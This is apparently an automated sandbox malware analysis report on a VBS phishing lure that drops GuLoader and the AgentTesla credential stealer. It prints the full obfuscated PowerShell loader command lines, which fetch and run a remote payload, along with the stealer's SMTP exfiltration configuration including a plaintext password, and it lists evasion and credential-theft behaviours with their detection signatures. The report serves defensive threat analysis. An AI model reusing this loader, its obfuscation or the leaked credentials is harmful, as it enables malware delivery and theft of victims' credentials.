Edit tour

Windows Analysis Report
Arrival Notice PUS_pdf.vbs

Overview

General Information

Sample name:	Arrival Notice PUS_pdf.vbs
Analysis ID:	1427934
MD5:	addc13066aacdb6cdb21ae368bce83d2
SHA1:	d4d509e48e946e01605df86bfebf8f4cbc4648f7
SHA256:	9c8fb0ee8d5a21346a7e25567abd4155c543d90a213a40d79269d1c4d3b269be
Tags:	Formbookvbs
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected AgentTesla

Yara detected GuLoader

Check if machine is in data center or colocation facility

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Potential malicious VBS script found (suspicious strings)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Writes or reads registry keys via WMI

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7468 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

WmiPrvSE.exe (PID: 7572 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7660 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam ndDrawbepub.ir BrdssTreet[Hyper$AnspoS offetRemineStil,nFrilsoBolt tForlaaGrounp Pse,hopregr ExhauCubi.m ,occ]Under=Udkla$Uds.yBChinkr EpidoBear.d S.nufRaffir,recas Info ');$Dandy=Banuyo17 'CalvrKFremtrDaab,eDri,hm agneegtefor AcqueTusintro,an. A,icD UdsaospektwUlt,an VelolMo,dno,oniraFlattd ReasFMlke.iKlarhlSelv eDelag(Sero,$ BysbAIncogm SprupVaskeuFodertRets ablacktUreosiCholuoStepdnIlyapeUnbl,rHuara,Quaif$ ngrasNautieCuratmjuvaviReminp Ne,brBenedoSprjtv ,ermeUnsynn Ulis) .ope ';$Dandy=$Fuldmaaner[1]+$Dandy;$semiproven=$Fuldmaaner[0];decoupled (Banuyo17 'almo,$BrevagneighlSpa robruntbLithoaRegralPulld:BureaUUnsymnundoudAf ameProgrrDemeas UnretForb.eKo,temStatsm D.rge TilsnFabri=Natur(.itioTPrei,eBricks Vi etMolek-DespoPso,edaHeatithofteh Lido Guess$Ph llsUnchre AssomGenneiGer.ipcrimsrSt,ngo Vaa,vtrreheStor,nhavne)Overe ');while (!$Understemmen) {decoupled (Banuyo17 'Tilgo$svigeg starl sko o EvadbArariaAgurkl rets:tri oNclo.pa Twirs Sm,dtRegioiSprogeEnergs.orgatMistr=Indef$StenttReklarDialeuCherueBh is ') ;decoupled $Dandy;decoupled (Banuyo17 'T,gseSMeto.tHyperaPre.erFrisktC,alm-MacroSS,inelBesseeGuth,eUnfurpTaler My.l4Phase ');decoupled (Banuyo17 ' Card$Unsipgprdikl I.peo T,efb binaaH.sdel le s: GlasUSweetnOnerodO erheFjendrReprosProvetPalpaeAlit.mM.stim u.ele.deelnLeven= Hj f(InestTProgreUdenos FrsttTilsl- C ilPWraina Pod tSvipthRoere s bcy$M.untsOesopeBombamRubini OutdpImpolrSb,booRhiz.vMalere R conArkad)Liban ') ;decoupled (Banuyo17 'Coun $Bruttg.ommel ,ardo Ess,bIagttaCelebl Domi:DiamoTdithirTineauIndklgD koleEghj,nMatriePommesOitic=Semi.$Acce,gGarrolBo,dhoCalmsbFunktaW,llilAmimi: Ls,iSAkup aKonkumOverls,yttesD.kup+ Fina+darwi%Sooge$EyingBCheboo MemotInb orInd ey Wedgl Fa.il Lu.ti IncidP,ecea ConfeTrihy.SkrigcMesitoAf,enu PagonStutftBevel ') ;$Amputationer=$Botryllidae[$Trugenes];}decoupled (Banuyo17 'Compu$Multig .ydalPremioNinjab scataKuglelP rfe:Pew.nNAngreaMezenz ImpeaDaah r,apani IlsetUnemai AporsRe tomTappi Cell =Cykel RegleGE,igoeFor.ut Rev.-MattiCManu oRottinunh,ct IdioeindusnBinaetResyn ,akul$Kontasend.ge Vil.m Sal.iKautipFialer KonfoAm.unvBolsteBagsdn Whi, ');decoupled (Banuyo17 'Milit$DdssygDjthalRgelsoDualmbS.arcaAuxollBroch:SlgtnViteruvT nfoeoverctBellas G ab Haver=Forh, Udbri[UndslSChittyteksts P.eatKogekeNo.com Tids.SquamCBr,ndoExternStatevNordseM,ssirEjendt Auto]No me:Lumba:SorbuF GstfrCaly.oFortrmNavneBKdfula Unbrs OutgeOo,on6 ate4 PhreSSmu,st MoldrKloakiAlimenSavarg Uroc(Svovl$ BracNI fikaPacanz ubea T anrdildeiAffectB,odaiJ,rvis UsikmGets.)Fejld ');decoupled (Banuyo17 'Passa$ B,angHaimal elfloUdradbJessea EngolVirus:HemauOUdenovPettiePleskr Synss,fterl RetraWind,cDatalk rosk Stri.= Te,o Supra[LsengS.icroy ubves to.atSletheOrchimFestl. SpisThuskeei.fanxBolewtS,ovf.UncivEOvertnRewe,cFaktooStatsdAttesi GlipnShawngTppef] C,bm:P.ede: aturASunstS gin,C dereI T.skICarth.MisauG RodeeUpshotHuskaSGroott.illirEuromiImpisnhennegHal,p(Fortr$ P,liV PorcvbaryleLydset Vests Grun)Metab ');decoupled (Banuyo17 'Syvaa$ PrudgacronlSurinoDigambImp ga irkelAgate:BendaBLo.giuR,erlr MitinSammefUnrusiBerggrSupereNonem=Nymph$FirblO Bes,vFork,eLums.r TiewsinduslR wina.nmelcStempk her .ume.dsFryt,u astb V,rms F,retLmb.rrSkamfi umbonAs,ongParei(Ic nh3Bl,dp0toptr5Fil.p7Priva0Folke6Linie,Painf2kalib9Fleet9Super6C,rom1Dinne)Tack. ');decoupled $Burnfire;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7840 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 8108 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam ndDrawbepub.ir BrdssTreet[Hyper$AnspoS offetRemineStil,nFrilsoBolt tForlaaGrounp Pse,hopregr ExhauCubi.m ,occ]Under=Udkla$Uds.yBChinkr EpidoBear.d S.nufRaffir,recas Info ');$Dandy=Banuyo17 'CalvrKFremtrDaab,eDri,hm agneegtefor AcqueTusintro,an. A,icD UdsaospektwUlt,an VelolMo,dno,oniraFlattd ReasFMlke.iKlarhlSelv eDelag(Sero,$ BysbAIncogm SprupVaskeuFodertRets ablacktUreosiCholuoStepdnIlyapeUnbl,rHuara,Quaif$ ngrasNautieCuratmjuvaviReminp Ne,brBenedoSprjtv ,ermeUnsynn Ulis) .ope ';$Dandy=$Fuldmaaner[1]+$Dandy;$semiproven=$Fuldmaaner[0];decoupled (Banuyo17 'almo,$BrevagneighlSpa robruntbLithoaRegralPulld:BureaUUnsymnundoudAf ameProgrrDemeas UnretForb.eKo,temStatsm D.rge TilsnFabri=Natur(.itioTPrei,eBricks Vi etMolek-DespoPso,edaHeatithofteh Lido Guess$Ph llsUnchre AssomGenneiGer.ipcrimsrSt,ngo Vaa,vtrreheStor,nhavne)Overe ');while (!$Understemmen) {decoupled (Banuyo17 'Tilgo$svigeg starl sko o EvadbArariaAgurkl rets:tri oNclo.pa Twirs Sm,dtRegioiSprogeEnergs.orgatMistr=Indef$StenttReklarDialeuCherueBh is ') ;decoupled $Dandy;decoupled (Banuyo17 'T,gseSMeto.tHyperaPre.erFrisktC,alm-MacroSS,inelBesseeGuth,eUnfurpTaler My.l4Phase ');decoupled (Banuyo17 ' Card$Unsipgprdikl I.peo T,efb binaaH.sdel le s: GlasUSweetnOnerodO erheFjendrReprosProvetPalpaeAlit.mM.stim u.ele.deelnLeven= Hj f(InestTProgreUdenos FrsttTilsl- C ilPWraina Pod tSvipthRoere s bcy$M.untsOesopeBombamRubini OutdpImpolrSb,booRhiz.vMalere R conArkad)Liban ') ;decoupled (Banuyo17 'Coun $Bruttg.ommel ,ardo Ess,bIagttaCelebl Domi:DiamoTdithirTineauIndklgD koleEghj,nMatriePommesOitic=Semi.$Acce,gGarrolBo,dhoCalmsbFunktaW,llilAmimi: Ls,iSAkup aKonkumOverls,yttesD.kup+ Fina+darwi%Sooge$EyingBCheboo MemotInb orInd ey Wedgl Fa.il Lu.ti IncidP,ecea ConfeTrihy.SkrigcMesitoAf,enu PagonStutftBevel ') ;$Amputationer=$Botryllidae[$Trugenes];}decoupled (Banuyo17 'Compu$Multig .ydalPremioNinjab scataKuglelP rfe:Pew.nNAngreaMezenz ImpeaDaah r,apani IlsetUnemai AporsRe tomTappi Cell =Cykel RegleGE,igoeFor.ut Rev.-MattiCManu oRottinunh,ct IdioeindusnBinaetResyn ,akul$Kontasend.ge Vil.m Sal.iKautipFialer KonfoAm.unvBolsteBagsdn Whi, ');decoupled (Banuyo17 'Milit$DdssygDjthalRgelsoDualmbS.arcaAuxollBroch:SlgtnViteruvT nfoeoverctBellas G ab Haver=Forh, Udbri[UndslSChittyteksts P.eatKogekeNo.com Tids.SquamCBr,ndoExternStatevNordseM,ssirEjendt Auto]No me:Lumba:SorbuF GstfrCaly.oFortrmNavneBKdfula Unbrs OutgeOo,on6 ate4 PhreSSmu,st MoldrKloakiAlimenSavarg Uroc(Svovl$ BracNI fikaPacanz ubea T anrdildeiAffectB,odaiJ,rvis UsikmGets.)Fejld ');decoupled (Banuyo17 'Passa$ B,angHaimal elfloUdradbJessea EngolVirus:HemauOUdenovPettiePleskr Synss,fterl RetraWind,cDatalk rosk Stri.= Te,o Supra[LsengS.icroy ubves to.atSletheOrchimFestl. SpisThuskeei.fanxBolewtS,ovf.UncivEOvertnRewe,cFaktooStatsdAttesi GlipnShawngTppef] C,bm:P.ede: aturASunstS gin,C dereI T.skICarth.MisauG RodeeUpshotHuskaSGroott.illirEuromiImpisnhennegHal,p(Fortr$ P,liV PorcvbaryleLydset Vests Grun)Metab ');decoupled (Banuyo17 'Syvaa$ PrudgacronlSurinoDigambImp ga irkelAgate:BendaBLo.giuR,erlr MitinSammefUnrusiBerggrSupereNonem=Nymph$FirblO Bes,vFork,eLums.r TiewsinduslR wina.nmelcStempk her .ume.dsFryt,u astb V,rms F,retLmb.rrSkamfi umbonAs,ongParei(Ic nh3Bl,dp0toptr5Fil.p7Priva0Folke6Linie,Painf2kalib9Fleet9Super6C,rom1Dinne)Tack. ');decoupled $Burnfire;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7192 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Australians.Hov && echo $" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

wab.exe (PID: 7228 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.myhydropowered.com", "Username": "africa@myhydropowered.com", "Password": "q5NHtWyc5WKhunX"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2017192523.0000000008C40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2645999528.0000000025C45000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2645999528.0000000025C6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2627141009.0000000004605000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000009.00000002.2007819028.00000000061C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000009.00000002.2017391660.0000000009585000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7660	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x31f447:$b2: ::FromBase64String( 0x31f47c:$b2: ::FromBase64String( 0x31f4b2:$b2: ::FromBase64String( 0x31f4e9:$b2: ::FromBase64String( 0x31f521:$b2: ::FromBase64String( 0x31f55a:$b2: ::FromBase64String( 0x31f594:$b2: ::FromBase64String( 0x31f5cf:$b2: ::FromBase64String( 0x31f60b:$b2: ::FromBase64String( 0x31f648:$b2: ::FromBase64String( 0x31f686:$b2: ::FromBase64String( 0x31f6c5:$b2: ::FromBase64String( 0x31f705:$b2: ::FromBase64String( 0x33ff41:$b2: ::FromBase64String( 0xa7d2:$s1: -join 0xa80d:$s1: -join 0xa8f5:$s1: -join 0xa923:$s1: -join 0xab50:$s1: -join 0xab73:$s1: -join 0xae55:$s1: -join
Process Memory Space: powershell.exe PID: 8108	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1d17c7:$b2: ::FromBase64String( 0xf8f85:$s1: -join 0x1cc42a:$s1: -join 0x10c8cc:$s3: reverse 0x10cb2e:$s3: reverse 0x16f07c:$s3: reverse 0x1706c8:$s3: reverse 0x170993:$s3: reverse 0x171006:$s3: reverse 0x1717ab:$s3: reverse 0x179b83:$s3: reverse 0x17c31c:$s3: reverse 0x17c736:$s3: reverse 0x17d2be:$s3: reverse 0x17df6b:$s3: reverse 0x1a11ca:$s3: reverse 0x1aee4a:$s3: reverse 0x291af:$s4: += 0xf8e40:$s4: += 0xf8f67:$s4: += 0xfadb6:$s4: +=
Click to see the 5 entries

Other

Source	Rule	Description	Author	Strings
amsi32_8108.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xdfe4:$b2: ::FromBase64String( 0xd0bf:$s1: -join 0x686b:$s4: += 0x692d:$s4: += 0xab54:$s4: += 0xcc71:$s4: += 0xcf5b:$s4: += 0xd0a1:$s4: += 0x173d0:$s4: += 0x17450:$s4: += 0x17516:$s4: += 0x17596:$s4: += 0x1776c:$s4: += 0x177f0:$s4: += 0xd88f:$e4: Get-WmiObject 0xda7e:$e4: Get-Process 0xdad6:$e4: Start-Process 0x15ef2:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", CommandLine|base64offset|contains: 6bq, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", ProcessId: 7468, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", CommandLine|base64offset|contains: 6bq, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Arrival Notice PUS_pdf.vbs", ProcessId: 7468, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. 